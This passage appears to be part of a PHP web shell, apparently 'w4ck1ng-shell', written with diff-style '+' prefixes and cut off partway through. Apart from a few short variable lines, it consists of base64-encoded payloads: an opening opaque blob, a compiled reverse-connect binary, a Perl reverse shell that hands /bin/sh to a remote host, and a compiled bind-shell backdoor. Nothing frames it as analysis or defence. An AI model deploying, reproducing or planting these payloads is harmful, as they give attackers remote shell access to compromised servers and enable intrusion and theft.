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"; +$y5 = '/x.'; +$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA=="; +$y6 = 'html'; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0QkCAAAAADHRCQEn4kECMcEJJ+JBAjoe/z//4tF8IkEJOiA/P//xwQkAAAAAOgE/f//i0X0iQQk6Gn8///pDv///1WJ5VdWMfZT6H/9//+BwyMSAACD7AzoEfz//42DIP///42TIP///4lF8CnQwfgCOcZzFonX/xSyi0Xwg8YBKfiJ+sH4AjnGcuyDxAxbXl9dw1WJ5YPsGIld9Ogt/f//gcPREQAAiXX4iX38jbMg////jbsg////Kf7B/gLrA/8Ut4PuAYP+/3X16DoAAACLXfSLdfiLffyJ7F3DkFWJ5VOD7AShrJkECIP4/3QSu6yZBAj/0ItD/IPrBIP4/3Xzg8QEW13DkJCQVYnlU+i7/P//gcNfEQAAg+wE6LH8//+DxARbXcMAAAADAAAAAQACADo6IHc0Y2sxbmctc2hlbGwgKFByaXZhdGUgQnVpbGQgdjAuMykgYmluZCBzaGVsbCBiYWNrZG9vciA6OiAKCgBzb2NrZXQAYmluZABsaXN0ZW4AL2Jpbi9zaAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAACQAAAAMAAAAiIQECA0AAAAkiQQIBAAAAEiBBAgFAAAAEIMECAYAAADggQQICgAAALAAAAALAAAAEAAAABUAAAAAAAAAAwAAAIyaBAgCAAAAeAAAABQAAAARAAAAFwAAABCEBAgRAAAACIQECBIAAAAIAAAAEwAAAAgAAAD+//9v6IMECP///28BAAAA8P//b8CDBAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJkECAAAAAAAAAAAtoQECMaEBAjWhAQI5oQEC